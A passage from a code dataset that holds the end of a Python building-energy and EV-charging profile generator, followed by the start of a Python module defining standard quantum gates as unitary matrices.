loop\n\n south_window = self.getPVprofile(m=self.month, surface_tilt=self.windows_tilt,\n surface_azimuth=self.south_window_azimuth)\n irradiance_south_direct = south_window[\"Gb(i)\"] # Direct irradiance on a fixed plane\n irradiance_south_diff = south_window[\"Gd(i)\"]\n\n # Loop through 24*4 (15 min intervals) of the day\n self.OutsideTemp = []\n self.SolarGains = []\n\n for hour in range(\n 24 * 4): # in this case hour is actualy 15 min interval, therefore calc_sun_position in radiation.py needs to be modified\n\n # Gains from occupancy and appliances\n if self.com_build_on == \"private house\":\n house.internal_gains = gain_per_person[hour]\n # Extract the outdoor temperature\n t_out = temperature[hour]\n # reset solar gains after the reset add as many different windows as needed\n house.solar_gains = 0.0\n house.solar_power_gains(window_area=self.south_window_area,\n irradiance_dir=irradiance_south_direct[hour],\n irradiance_dif=irradiance_south_diff[hour],\n month=self.month,\n hour=hour,\n tilt=self.windows_tilt,\n azimuth=self.south_window_azimuth,\n transmittance=0.7,\n )\n house.calc_heat_demand(t_out)\n\n self.HeatingDemand.append(house.heat_demand)\n self.OutsideTemp.append(t_out)\n self.SolarGains.append(house.solar_gains)\n\n ######################\n # Electric vehicle\n ######################\n if self.com_build_on == \"private house\":\n self.EV_startTimes, self.EV_endTimes, self.charging_profile = self.EVprofile()\n else:\n self.charging_profile = np.zeros(96)\n #################################\n # Times for heating and cooling #\n # if daily cooling and heating is not exceeding the 1 degree of total thermal capacitance, we neglect it!\n # Steps:\n # 1. calculate thermal heat-capacitance of building/house for 1 degree celsius difference\n #################################\n\n energy_limit = self.thermal_capacitance / (60 * 60) * self.floor_area # Wh\n sum_energy_needed = 0\n self.list_of_times_HVAC = []\n self.list_of_energies_HVAC = []\n for hour in range(24 * 4):\n sum_energy_needed += self.HeatingDemand[hour] / 4.0 # divided by 4 since we are\n # operating with energy on timeslice of 15 minutees\n if sum_energy_needed > energy_limit:\n sum_energy_needed -= energy_limit # transfer rest of the energy to next time slice\n self.list_of_times_HVAC.append(hour)\n self.list_of_energies_HVAC.append(energy_limit)\n elif sum_energy_needed < -energy_limit:\n sum_energy_needed += energy_limit\n self.list_of_times_HVAC.append(hour)\n self.list_of_energies_HVAC.append(-energy_limit)\n if ((sum_energy_needed < (0.4 * energy_limit)) & (len(self.list_of_energies_HVAC))):\n self.list_of_energies_HVAC[0] += sum_energy_needed\n else:\n self.list_of_times_HVAC.append(96)\n self.list_of_energies_HVAC.append(sum_energy_needed)\n\n self.dailyResults = pd.DataFrame({\n 'HeatingDemand': self.HeatingDemand,\n 'HeatingCoolingDemand_el': self.HVAC_el(), # Daily electric profiles for Heating/Cooling\n 'OutsideTemp': self.OutsideTemp,\n 'SolarGains': self.SolarGains,\n 'ElectricVehicle': self.charging_profile,\n 'BusinessBuildingProfile': self.bus_profile,\n 'Photovoltaic': self.PVpower,\n 'ConsumptionHouse': self.consumption_total_resampled\n })\n return self.dailyResults\n\n def business_EV_profile(self,no_EVs,distance):\n EVprofile = np.zeros(96)\n for i in range(no_EVs):\n EVenergy = random.gauss(18, 2)*1000 # ranodmize EV efficiency 18kW per 100 km\n distance_rand = random.gauss(distance, distance/4) # randomize distance\n diff = self.office_end_t - self.office_start_t\n # EV charging during office hourse, but more to the second half\n starting_time = int(random.gauss(self.office_start_t+2.0*diff/3.0, diff/3.0)/15)\n if starting_time > 95:\n starting_time -= 96\n Energy_needed = distance_rand/100.0*EVenergy\n while Energy_needed > 0:\n Energy_needed -= self.EV_power/4 # divided by 4 due to 15min interval\n if Energy_needed<0:\n EVprofile[starting_time] += (self.EV_power/4 + Energy_needed) * 4\n else:\n EVprofile[starting_time] += self.EV_power\n starting_time += 1\n if starting_time > 95:\n starting_time = 0\n return EVprofile\n\n\n def calculation_PV(self):\n self.PVdata = self.getPVprofile(m=self.month, latitude=self.latitude, longitude=self.longitude,\n surface_tilt=self.tiltPV, surface_azimuth=self.azimuthPV)\n temperature = self.PVdata[\"T2m\"]\n irradiance = self.PVdata[\"G(i)\"] # global irradiance on a fixed plane\n PV_power=self.solar_power_taking_account_temperature(temperature,irradiance,Wp=self.PV_nominal_power)\n self.PVpower = [i for i in PV_power] # make list without timestamp\n return self.PVpower","repo_name":"MATRYCS/S2.1_FlexibilityCalculator","sub_path":"profilegenerator2.py","file_name":"profilegenerator2.py","file_ext":"py","file_size_in_byte":41687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"2986939193","text":"\nfrom math import sqrt, pi\nimport copy\nimport numpy as np\n\nfrom . import backend as bk\nfrom .qubits import Qubit\nfrom .ops import Gate\nfrom .gates import I\n\n\n__all__ = ['I', 'X', 'Y', 'Z', 'H', 'S', 'T', 'PHASE', 'RX', 'RY', 'RZ', 'CZ',\n 'CNOT', 'SWAP', 'ISWAP', 'CPHASE00', 'CPHASE01', 'CPHASE10',\n 'CPHASE', 'PSWAP', 'CCNOT', 'CSWAP',\n 'RN', 'TX', 'TY', 'TZ', 'TH', 'ZYZ',\n 'CAN', 'XX', 'YY', 'ZZ', 'PISWAP', 'EXCH',\n 'CANONICAL',\n 'S_H', 'T_H', 'STDGATES']\n\n\n# Standard 1 qubit gates\n\nclass X(Gate):\n r\"\"\"\n A 1-qubit Pauli-X gate.\n\n .. math::\n X() &\\equiv \\begin{pmatrix} 0 & 1 \\\\ 1 & 0 \\end{pmatrix}\n \"\"\"\n def __init__(self, q0: Qubit = 0) -> None:\n qubits = [q0]\n super().__init__([[0, 1], [1, 0]], qubits)\n\n @property\n def H(self) -> Gate:\n return copy.copy(self) # Hermitian\n\n def __pow__(self, t: float) -> Gate:\n return TX(t, *self.qubits)\n\n\nclass Y(Gate):\n r\"\"\"\n A 1-qubit Pauli-Y gate.\n\n .. math::\n Y() &\\equiv \\begin{pmatrix} 0 & -i \\\\ i & 0 \\end{pmatrix}\n\n mnemonic: \"Minus eye high\".\n \"\"\"\n def __init__(self, q0: Qubit = 0) -> None:\n qubits = [q0]\n super().__init__(np.asarray([[0, -1.0j], [1.0j, 0]]), qubits)\n\n @property\n def H(self) -> Gate:\n return copy.copy(self) # Hermitian\n\n def __pow__(self, t: float) -> Gate:\n return TY(t, *self.qubits)\n\n\nclass Z(Gate):\n r\"\"\"\n A 1-qubit Pauli-Z gate.\n\n .. math::\n Z() &\\equiv \\begin{pmatrix} 1 & 0 \\\\ 0 & -1 \\end{pmatrix}\n \"\"\"\n def __init__(self, q0: Qubit = 0) -> None:\n qubits = [q0]\n super().__init__([[1, 0], [0, -1.0]], qubits)\n\n @property\n def H(self) -> Gate:\n return copy.copy(self) # Hermitian\n\n def __pow__(self, t: float) -> Gate:\n return TZ(t, *self.qubits)\n\n\nclass H(Gate):\n r\"\"\"\n A 1-qubit Hadamard gate.\n\n .. math::\n H() \\equiv \\frac{1}{\\sqrt{2}}\n \\begin{pmatrix} 1 & 1 \\\\ 1 & -1 \\end{pmatrix}\n \"\"\"\n def __init__(self, q0: Qubit = 0) -> None:\n unitary = np.asarray([[1, 1], [1, -1]]) / sqrt(2)\n qubits = [q0]\n super().__init__(unitary, qubits)\n\n @property\n def H(self) -> Gate:\n return copy.copy(self) # Hermitian\n\n def __pow__(self, t: float) -> Gate:\n return TH(t, *self.qubits)\n\n\nclass S(Gate):\n r\"\"\"\n A 1-qubit phase S gate, equivalent to ``PHASE(pi/2)``. The square root\n of the Z gate (up to global phase). Also commonly denoted as the P gate.\n\n .. math::\n S() \\equiv \\begin{pmatrix} 1 & 0 \\\\ 0 & i \\end{pmatrix}\n\n \"\"\"\n def __init__(self, q0: Qubit = 0) -> None:\n qubits = [q0]\n super().__init__(np.asarray([[1.0, 0.0], [0.0, 1.0j]]), qubits)\n\n @property\n def H(self) -> Gate:\n return S_H(*self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n return PHASE(pi / 2 * t, *self.qubits)\n\n\nclass T(Gate):\n r\"\"\"\n A 1-qubit T (pi/8) gate, equivalent to ``PHASE(pi/4)``. The forth root\n of the Z gate (up to global phase).\n\n .. math::\n \\begin{pmatrix} 1 & 0 \\\\ 0 & e^{i \\pi / 4} \\end{pmatrix}\n \"\"\"\n def __init__(self, q0: Qubit = 0) -> None:\n unitary = [[1.0, 0.0], [0.0, bk.ccast(bk.cis(pi / 4.0))]]\n qubits = [q0]\n super().__init__(unitary, qubits)\n\n @property\n def H(self) -> Gate:\n return T_H(*self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n return PHASE(pi / 4 * t, *self.qubits)\n\n\nclass PHASE(Gate):\n r\"\"\"\n A 1-qubit parametric phase shift gate\n\n .. math::\n \\text{PHASE}(\\theta) \\equiv \\begin{pmatrix}\n 1 & 0 \\\\ 0 & e^{i \\theta} \\end{pmatrix}\n \"\"\"\n def __init__(self, theta: float, q0: Qubit = 0) -> None:\n ctheta = bk.ccast(theta)\n unitary = [[1.0, 0.0], [0.0, bk.cis(ctheta)]]\n qubits = [q0]\n super().__init__(unitary, qubits, dict(theta=theta))\n\n @property\n def H(self) -> Gate:\n theta = self.params['theta']\n theta = 2. * pi - theta % (2. * pi)\n return PHASE(theta, *self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n theta = self.params['theta'] * t\n return PHASE(theta, *self.qubits)\n\n\nclass RX(Gate):\n r\"\"\"A 1-qubit Pauli-X parametric rotation gate.\n\n .. math::\n R_X(\\theta) = \\begin{pmatrix}\n \\cos(\\frac{\\theta}{2}) & -i \\sin(\\theta/2) \\\\\n -i \\sin(\\theta/2) & \\cos(\\theta/2)\n \\end{pmatrix}\n\n Args:\n theta: Angle of rotation in Bloch sphere\n \"\"\"\n def __init__(self, theta: float, q0: Qubit = 0) -> None:\n ctheta = bk.ccast(theta)\n unitary = [[bk.cos(ctheta / 2), -1.0j * bk.sin(ctheta / 2)],\n [-1.0j * bk.sin(ctheta / 2), bk.cos(ctheta / 2)]]\n qubits = [q0]\n super().__init__(unitary, qubits, dict(theta=theta))\n\n @property\n def H(self) -> Gate:\n theta = self.params['theta']\n return RX(-theta, *self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n theta = self.params['theta']\n return RX(theta * t, *self.qubits)\n\n\nclass RY(Gate):\n r\"\"\"A 1-qubit Pauli-Y parametric rotation gate\n\n .. math::\n R_Y(\\theta) \\equiv \\begin{pmatrix}\n \\cos(\\theta / 2) & -\\sin(\\theta / 2)\n \\\\ \\sin(\\theta/2) & \\cos(\\theta/2) \\end{pmatrix}\n\n Args:\n theta: Angle of rotation in Bloch sphere\n \"\"\"\n def __init__(self, theta: float, q0: Qubit = 0) -> None:\n ctheta = bk.ccast(theta)\n unitary = [[bk.cos(ctheta / 2.0), -bk.sin(ctheta / 2.0)],\n [bk.sin(ctheta / 2.0), bk.cos(ctheta / 2.0)]]\n qubits = [q0]\n super().__init__(unitary, qubits, dict(theta=theta))\n\n @property\n def H(self) -> Gate:\n theta = self.params['theta']\n return RY(-theta, *self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n theta = self.params['theta']\n return RY(theta * t, *self.qubits)\n\n\nclass RZ(Gate):\n r\"\"\"A 1-qubit Pauli-X parametric rotation gate\n\n .. math::\n R_Z(\\theta)\\equiv \\begin{pmatrix}\n \\cos(\\theta/2) - i \\sin(\\theta/2) & 0 \\\\\n 0 & \\cos(\\theta/2) + i \\sin(\\theta/2)\n \\end{pmatrix}\n\n Args:\n theta: Angle of rotation in Bloch sphere\n \"\"\"\n def __init__(self, theta: float, q0: Qubit = 0) -> None:\n ctheta = bk.ccast(theta)\n unitary = [[bk.exp(-ctheta * 0.5j), 0],\n [0, bk.exp(ctheta * 0.5j)]]\n qubits = [q0]\n super().__init__(unitary, qubits, dict(theta=theta))\n\n @property\n def H(self) -> Gate:\n theta = self.params['theta']\n return RZ(-theta, *self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n theta = self.params['theta']\n return RZ(theta * t, *self.qubits)\n\n\n# Standard 2 qubit gates\n\nclass CZ(Gate):\n r\"\"\"A controlled-Z gate\n\n Equivalent to ``controlled_gate(Z())`` and locally equivalent to\n ``CAN(1/2,0,0)``\n\n .. math::\n \\text{CZ}() = \\begin{pmatrix} 1&0&0&0 \\\\ 0&1&0&0 \\\\\n 0&0&1&0 \\\\ 0&0&0&-1 \\end{pmatrix}\n \"\"\"\n def __init__(self, q0: Qubit = 0, q1: Qubit = 1) -> None:\n unitary = [[1, 0, 0, 0],\n [0, 1, 0, 0],\n [0, 0, 1, 0],\n [0, 0, 0, -1]]\n params = None\n qubits = [q0, q1]\n super().__init__(unitary, qubits, params)\n\n @property\n def H(self) -> Gate:\n return copy.copy(self) # Hermitian\n\n\nclass CNOT(Gate):\n r\"\"\"A controlled-not gate\n\n Equivalent to ``controlled_gate(X())``, and\n locally equivalent to ``CAN(1/2, 0, 0)``\n\n .. math::\n \\text{CNOT}() \\equiv \\begin{pmatrix} 1&0&0&0 \\\\ 0&1&0&0 \\\\\n 0&0&0&1 \\\\ 0&0&1&0 \\end{pmatrix}\n \"\"\"\n def __init__(self, q0: Qubit = 0, q1: Qubit = 1) -> None:\n unitary = [[1, 0, 0, 0],\n [0, 1, 0, 0],\n [0, 0, 0, 1],\n [0, 0, 1, 0]]\n params = None\n qubits = [q0, q1]\n super().__init__(unitary, qubits, params)\n\n @property\n def H(self) -> Gate:\n return copy.copy(self) # Hermitian\n\n\nclass SWAP(Gate):\n r\"\"\"A 2-qubit swap gate\n\n Locally equivalent to ``CAN(1/2,1/2,1/2)``.\n\n .. math::\n \\text{SWAP}() \\equiv\n \\begin{pmatrix}\n 1&0&0&0 \\\\ 0&0&1&0 \\\\ 0&1&0&0 \\\\ 0&0&0&1\n \\end{pmatrix}\n\n \"\"\"\n def __init__(self, q0: Qubit = 0, q1: Qubit = 1) -> None:\n unitary = [[1, 0, 0, 0],\n [0, 0, 1, 0],\n [0, 1, 0, 0],\n [0, 0, 0, 1]]\n params = None\n qubits = [q0, q1]\n super().__init__(unitary, qubits, params)\n\n @property\n def H(self) -> Gate:\n return copy.copy(self) # Hermitian\n\n\nclass ISWAP(Gate):\n r\"\"\"A 2-qubit iswap gate\n\n Locally equivalent to ``CAN(1/2,1/2,0)``.\n\n .. math::\n \\text{ISWAP}() \\equiv\n \\begin{pmatrix} 1&0&0&0 \\\\ 0&0&i&0 \\\\ 0&i&0&0 \\\\ 0&0&0&1 \\end{pmatrix}\n\n \"\"\"\n def __init__(self, q0: Qubit = 0, q1: Qubit = 1) -> None:\n # Note: array wrapper is to work around an eager mode\n # (not not regular tensorflow) issue.\n # \"Can't convert Python sequence with mixed types to Tensor.\"\n\n unitary = np.array([[1, 0, 0, 0],\n [0, 0, 1j, 0],\n [0, 1j, 0, 0],\n [0, 0, 0, 1]])\n params = None\n qubits = [q0, q1]\n super().__init__(unitary, qubits, params)\n\n\nclass CPHASE00(Gate):\n r\"\"\"A 2-qubit 00 phase-shift gate\n\n .. math::\n \\text{CPHASE00}(\\theta) \\equiv \\text{diag}(e^{i \\theta}, 1, 1, 1)\n \"\"\"\n def __init__(self, theta: float,\n q0: Qubit = 0, q1: Qubit = 1) -> None:\n ctheta = bk.ccast(theta)\n unitary = [[bk.exp(1j * ctheta), 0, 0, 0],\n [0, 1.0, 0, 0],\n [0, 0, 1.0, 0],\n [0, 0, 0, 1.0]]\n qubits = [q0, q1]\n super().__init__(unitary, qubits, dict(theta=theta))\n\n @property\n def H(self) -> Gate:\n theta = - self.params['theta']\n return CPHASE00(theta, *self.qubits)\n\n\nclass CPHASE01(Gate):\n r\"\"\"A 2-qubit 01 phase-shift gate\n\n .. math::\n \\text{CPHASE01}(\\theta) \\equiv \\text{diag}(1, e^{i \\theta}, 1, 1)\n \"\"\"\n def __init__(self, theta: float,\n q0: Qubit = 0, q1: Qubit = 1) -> None:\n ctheta = bk.ccast(theta)\n unitary = [[1.0, 0, 0, 0],\n [0, bk.exp(1j * ctheta), 0, 0],\n [0, 0, 1.0, 0],\n [0, 0, 0, 1.0]]\n qubits = [q0, q1]\n super().__init__(unitary, qubits, dict(theta=theta))\n\n @property\n def H(self) -> Gate:\n theta = - self.params['theta']\n return CPHASE01(theta, *self.qubits)\n\n\nclass CPHASE10(Gate):\n r\"\"\"A 2-qubit 10 phase-shift gate\n\n .. math::\n \\text{CPHASE10}(\\theta) \\equiv \\text{diag}(1, 1, e^{i \\theta}, 1)\n \"\"\"\n def __init__(self, theta: float,\n q0: Qubit = 0, q1: Qubit = 1) -> None:\n ctheta = bk.ccast(theta)\n unitary = [[1.0, 0, 0, 0],\n [0, 1.0, 0, 0],\n [0, 0, bk.exp(1j * ctheta), 0],\n [0, 0, 0, 1.0]]\n qubits = [q0, q1]\n super().__init__(unitary, qubits, dict(theta=theta))\n\n @property\n def H(self) -> Gate:\n theta = - self.params['theta']\n return CPHASE10(theta, *self.qubits)\n\n\nclass CPHASE(Gate):\n r\"\"\"A 2-qubit 11 phase-shift gate\n\n .. math::\n \\text{CPHASE}(\\theta) \\equiv \\text{diag}(1, 1, 1, e^{i \\theta})\n \"\"\"\n def __init__(self, theta: float,\n q0: Qubit = 0, q1: Qubit = 1) -> None:\n ctheta = bk.ccast(theta)\n unitary = [[1.0, 0, 0, 0],\n [0, 1.0, 0, 0],\n [0, 0, 1.0, 0],\n [0, 0, 0, bk.exp(1j * ctheta)]]\n qubits = [q0, q1]\n super().__init__(unitary, qubits, dict(theta=theta))\n\n @property\n def H(self) -> Gate:\n theta = - self.params['theta']\n return CPHASE(theta, *self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n theta = self.params['theta'] * t\n return CPHASE(theta, *self.qubits)\n\n\nclass PSWAP(Gate):\n r\"\"\"A 2-qubit parametric-swap gate, as defined by Quil.\n Interpolates between SWAP (theta=0) and iSWAP (theta=pi/2).\n\n Locally equivalent to ``CAN(1/2, 1/2, 1/2 - theta/pi)``\n\n .. math::\n \\text{PSWAP}(\\theta) \\equiv \\begin{pmatrix} 1&0&0&0 \\\\\n 0&0&e^{i\\theta}&0 \\\\ 0&e^{i\\theta}&0&0 \\\\ 0&0&0&1 \\end{pmatrix}\n \"\"\"\n def __init__(self, theta: float,\n q0: Qubit = 0, q1: Qubit = 1) -> None:\n ctheta = bk.ccast(theta)\n\n unitary = [[[[1, 0], [0, 0]], [[0, 0], [bk.exp(ctheta * 1.0j), 0]]],\n [[[0, bk.exp(ctheta * 1.0j)], [0, 0]], [[0, 0], [0, 1]]]]\n qubits = [q0, q1]\n super().__init__(unitary, qubits, dict(theta=theta))\n\n @property\n def H(self) -> Gate:\n theta = self.params['theta']\n theta = 2. * pi - theta % (2. * pi)\n return PSWAP(theta, *self.qubits)\n\n\nclass PISWAP(Gate):\n r\"\"\"A parametric iswap gate, generated from XY interaction.\n\n Locally equivalent to CAN(t,t,0), where t = theta / (2 * pi)\n\n .. math::\n \\text{PISWAP}(\\theta) \\equiv\n \\begin{pmatrix}\n 1 & 0 & 0 & 0 \\\\\n 0 & \\cos(2\\theta) & i \\sin(2\\theta) & 0 \\\\\n 0 & i \\sin(2\\theta) & \\cos(2\\theta) & 0 \\\\\n 0 & 0 & 0 & 1\n \\end{pmatrix}\n\n \"\"\"\n def __init__(self, theta: float, q0: Qubit = 0, q1: Qubit = 1) -> None:\n ctheta = bk.ccast(theta)\n unitary = [[[[1, 0], [0, 0]],\n [[0, bk.cos(2*ctheta)], [bk.sin(2*ctheta) * 1j, 0]]],\n [[[0, bk.sin(2*ctheta) * 1j], [bk.cos(2*ctheta), 0]],\n [[0, 0], [0, 1]]]]\n params = dict(theta=theta)\n super().__init__(unitary, [q0, q1], params)\n\n @property\n def H(self) -> Gate:\n theta = - self.params['theta']\n return PISWAP(theta, *self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n theta = self.params['theta'] * t\n return PISWAP(theta, *self.qubits)\n\n\n# Standard 3 qubit gates\n\nclass CCNOT(Gate):\n r\"\"\"\n A 3-qubit Toffoli gate. A controlled, controlled-not.\n\n Equivalent to ``controlled_gate(cnot())``\n\n .. math::\n \\text{CCNOT}() \\equiv \\begin{pmatrix}\n 1& 0& 0& 0& 0& 0& 0& 0 \\\\\n 0& 1& 0& 0& 0& 0& 0& 0 \\\\\n 0& 0& 1& 0& 0& 0& 0& 0 \\\\\n 0& 0& 0& 1& 0& 0& 0& 0 \\\\\n 0& 0& 0& 0& 1& 0& 0& 0 \\\\\n 0& 0& 0& 0& 0& 1& 0& 0 \\\\\n 0& 0& 0& 0& 0& 0& 0& 1 \\\\\n 0& 0& 0& 0& 0& 0& 1& 0\n \\end{pmatrix}\n\n \"\"\"\n def __init__(self,\n q0: Qubit = 0,\n q1: Qubit = 1,\n q2: Qubit = 2) -> None:\n unitary = [[1, 0, 0, 0, 0, 0, 0, 0],\n [0, 1, 0, 0, 0, 0, 0, 0],\n [0, 0, 1, 0, 0, 0, 0, 0],\n [0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0],\n [0, 0, 0, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 1],\n [0, 0, 0, 0, 0, 0, 1, 0]]\n params = None\n qubits = [q0, q1, q2]\n super().__init__(unitary, qubits, params)\n\n @property\n def H(self) -> Gate:\n return copy.copy(self) # Hermitian\n\n\nclass CSWAP(Gate):\n r\"\"\"\n A 3-qubit Fredkin gate. A controlled swap.\n\n Equivalent to ``controlled_gate(swap())``\n\n .. math::\n \\text{CSWAP}() \\equiv \\begin{pmatrix}\n 1& 0& 0& 0& 0& 0& 0& 0 \\\\\n 0& 1& 0& 0& 0& 0& 0& 0 \\\\\n 0& 0& 1& 0& 0& 0& 0& 0 \\\\\n 0& 0& 0& 1& 0& 0& 0& 0 \\\\\n 0& 0& 0& 0& 1& 0& 0& 0 \\\\\n 0& 0& 0& 0& 0& 0& 1& 0 \\\\\n 0& 0& 0& 0& 0& 1& 0& 0 \\\\\n 0& 0& 0& 0& 0& 0& 0& 1\n \\end{pmatrix}\n \"\"\"\n def __init__(self, q0: Qubit = 0,\n q1: Qubit = 1, q2: Qubit = 2) -> None:\n unitary = [[1, 0, 0, 0, 0, 0, 0, 0],\n [0, 1, 0, 0, 0, 0, 0, 0],\n [0, 0, 1, 0, 0, 0, 0, 0],\n [0, 0, 0, 1, 0, 0, 0, 0],\n [0, 0, 0, 0, 1, 0, 0, 0],\n [0, 0, 0, 0, 0, 0, 1, 0],\n [0, 0, 0, 0, 0, 1, 0, 0],\n [0, 0, 0, 0, 0, 0, 0, 1]]\n params = None\n qubits = [q0, q1, q2]\n super().__init__(unitary, qubits, params)\n\n @property\n def H(self) -> Gate:\n return copy.copy(self) # Hermitian\n\n\n# Other 1-qubit gates\n\nclass S_H(Gate):\n r\"\"\"\n The inverse of the 1-qubit phase S gate, equivalent to ``PHASE(-pi/2)``.\n\n .. math::\n \\begin{pmatrix} 1 & 0 \\\\ 0 & -i \\end{pmatrix}\n\n \"\"\"\n def __init__(self, q0: Qubit = 0) -> None:\n super().__init__(np.asarray([[1.0, 0.0], [0.0, -1.0j]]), [q0])\n\n @property\n def H(self) -> Gate:\n return S(*self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n return PHASE(-pi / 2 * t, *self.qubits)\n\n\nclass T_H(Gate):\n r\"\"\"\n The inverse (complex conjugate) of the 1-qubit T (pi/8) gate, equivalent\n to ``PHASE(-pi/4)``.\n\n .. math::\n \\begin{pmatrix} 1 & 0 \\\\ 0 & e^{-i \\pi / 4} \\end{pmatrix}\n \"\"\"\n def __init__(self, q0: Qubit = 0) -> None:\n unitary = [[1.0, 0.0], [0.0, bk.ccast(bk.cis(-pi / 4.0))]]\n super().__init__(unitary, [q0])\n\n @property\n def H(self) -> Gate:\n return T(*self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n return PHASE(-pi / 4 * t, *self.qubits)\n\n\nclass RN(Gate):\n r\"\"\"A 1-qubit rotation of angle theta about axis (nx, ny, nz)\n\n .. math::\n R_n(\\theta) = \\cos \\frac{theta}{2} I - i \\sin\\frac{theta}{2}\n (n_x X+ n_y Y + n_z Z)\n\n Args:\n theta: Angle of rotation on Block sphere\n (nx, ny, nz): A three-dimensional real unit vector\n \"\"\"\n\n def __init__(self,\n theta: float,\n nx: float,\n ny: float,\n nz: float,\n q0: Qubit = 0) -> None:\n ctheta = bk.ccast(theta)\n\n cost = bk.cos(ctheta / 2)\n sint = bk.sin(ctheta / 2)\n unitary = [[cost - 1j * sint * nz, -1j * sint * nx - sint * ny],\n [-1j * sint * nx + sint * ny, cost + 1j * sint * nz]]\n\n params = dict(theta=theta, nx=nx, ny=ny, nz=nz)\n super().__init__(unitary, [q0], params)\n\n @property\n def H(self) -> Gate:\n theta, nx, ny, nz = self.params.values()\n return RN(-theta, nx, ny, nz, *self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n theta, nx, ny, nz = self.params.values()\n return RN(t * theta, nx, ny, nz, *self.qubits)\n\n\nclass TX(Gate):\n r\"\"\"Powers of the 1-qubit Pauli-X gate.\n\n .. math::\n TX(t) = X^t = e^{i \\pi t/2} R_X(\\pi t)\n\n Args:\n t: Number of half turns (quarter cycles) on Block sphere\n \"\"\"\n def __init__(self, t: float, q0: Qubit = 0) -> None:\n t = t % 2\n ctheta = bk.ccast(pi * t)\n phase = bk.exp(0.5j * ctheta)\n unitary = [[phase * bk.cos(ctheta / 2),\n phase * -1.0j * bk.sin(ctheta / 2)],\n [phase * -1.0j * bk.sin(ctheta / 2),\n phase * bk.cos(ctheta / 2)]]\n super().__init__(unitary, [q0], dict(t=t))\n\n @property\n def H(self) -> Gate:\n t = - self.params['t']\n return TX(t, *self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n t = self.params['t'] * t\n return TX(t, *self.qubits)\n\n\nclass TY(Gate):\n r\"\"\"Powers of the 1-qubit Pauli-Y gate.\n\n The pseudo-Hadamard gate is TY(3/2), and its inverse is TY(1/2).\n\n .. math::\n TY(t) = Y^t = e^{i \\pi t/2} R_Y(\\pi t)\n\n Args:\n t: Number of half turns (quarter cycles) on Block sphere\n\n \"\"\"\n def __init__(self, t: float, q0: Qubit = 0) -> None:\n t = t % 2\n ctheta = bk.ccast(pi * t)\n phase = bk.exp(0.5j * ctheta)\n unitary = [[phase * bk.cos(ctheta / 2.0),\n phase * -bk.sin(ctheta / 2.0)],\n [phase * bk.sin(ctheta / 2.0),\n phase * bk.cos(ctheta / 2.0)]]\n # unitary = RY(pi*t).tensor * bk.exp(- 0.5j * t)\n qubits = [q0]\n super().__init__(unitary, qubits, dict(t=t))\n\n @property\n def H(self) -> Gate:\n t = - self.params['t']\n return TY(t, *self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n t = self.params['t'] * t\n return TY(t, *self.qubits)\n\n\nclass TZ(Gate):\n r\"\"\"Powers of the 1-qubit Pauli-Z gate.\n\n .. math::\n TZ(t) = Z^t = e^{i \\pi t/2} R_Z(\\pi t)\n\n Args:\n t: Number of half turns (quarter cycles) on Block sphere\n \"\"\"\n def __init__(self, t: float, q0: Qubit = 0) -> None:\n t = t % 2\n ctheta = bk.ccast(pi * t)\n phase = bk.exp(0.5j * ctheta)\n unitary = [[phase * bk.exp(-ctheta * 0.5j), 0],\n [0, phase * bk.exp(ctheta * 0.5j)]]\n super().__init__(unitary, [q0], dict(t=t))\n\n @property\n def H(self) -> Gate:\n t = - self.params['t']\n return TZ(t, *self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n t = self.params['t'] * t\n return TZ(t, *self.qubits)\n\n\nclass TH(Gate):\n r\"\"\"\n Powers of the 1-qubit Hadamard gate.\n\n .. math::\n TH(t) = H^t = e^{i \\pi t/2}\n \\begin{pmatrix}\n \\cos(\\tfrac{t}{2}) + \\tfrac{i}{\\sqrt{2}}\\sin(\\tfrac{t}{2})) &\n \\tfrac{i}{\\sqrt{2}} \\sin(\\tfrac{t}{2}) \\\\\n \\tfrac{i}{\\sqrt{2}} \\sin(\\tfrac{t}{2}) &\n \\cos(\\tfrac{t}{2}) -\\tfrac{i}{\\sqrt{2}} \\sin(\\frac{t}{2})\n \\end{pmatrix}\n \"\"\"\n def __init__(self, t: float, q0: Qubit = 0) -> None:\n theta = bk.ccast(pi * t)\n phase = bk.exp(0.5j * theta)\n\n unitary = [[phase * bk.cos(theta / 2)\n - (phase * 1.0j * bk.sin(theta / 2)) / sqrt(2),\n -(phase * 1.0j * bk.sin(theta / 2)) / sqrt(2)],\n [-(phase * 1.0j * bk.sin(theta / 2)) / sqrt(2),\n phase * bk.cos(theta / 2)\n + (phase * 1.0j * bk.sin(theta / 2)) / sqrt(2)]]\n super().__init__(unitary, [q0], dict(t=t))\n\n @property\n def H(self) -> Gate:\n t = - self.params['t']\n return TH(t, *self.qubits)\n\n def __pow__(self, t: float) -> Gate:\n t = self.params['t'] * t\n return TH(t, *self.qubits)\n\n\nclass ZYZ(Gate):\n r\"\"\"A Z-Y-Z decomposition of one-qubit rotations in the Bloch sphere\n\n The ZYZ decomposition of one-qubit rotations is\n\n .. math::\n \\text{ZYZ}(t_0, t_1, t_2)\n = Z^{t_2} Y^{t_1} Z^{t_0}\n\n This is the unitary group on a 2-dimensional complex vector space, SU(2).\n\n Ref: See Barenco et al (1995) section 4 (Warning: gates are defined as\n conjugate of what we now use?), or Eq 4.11 of Nielsen and Chuang.\n\n Args:\n t0: Parameter of first parametric Z gate.\n Number of half turns on Block sphere.\n t1: Parameter of parametric Y gate.\n t2: Parameter of second parametric Z gate.\n \"\"\"\n def __init__(self, t0: float, t1: float,\n t2: float, q0: Qubit = 0) -> None:\n ct0 = bk.ccast(pi * t0)\n ct1 = bk.ccast(pi * t1)\n ct2 = bk.ccast(pi * t2)\n ct3 = 0\n\n unitary = [[bk.cis(ct3 - 0.5 * ct2 - 0.5 * ct0) * 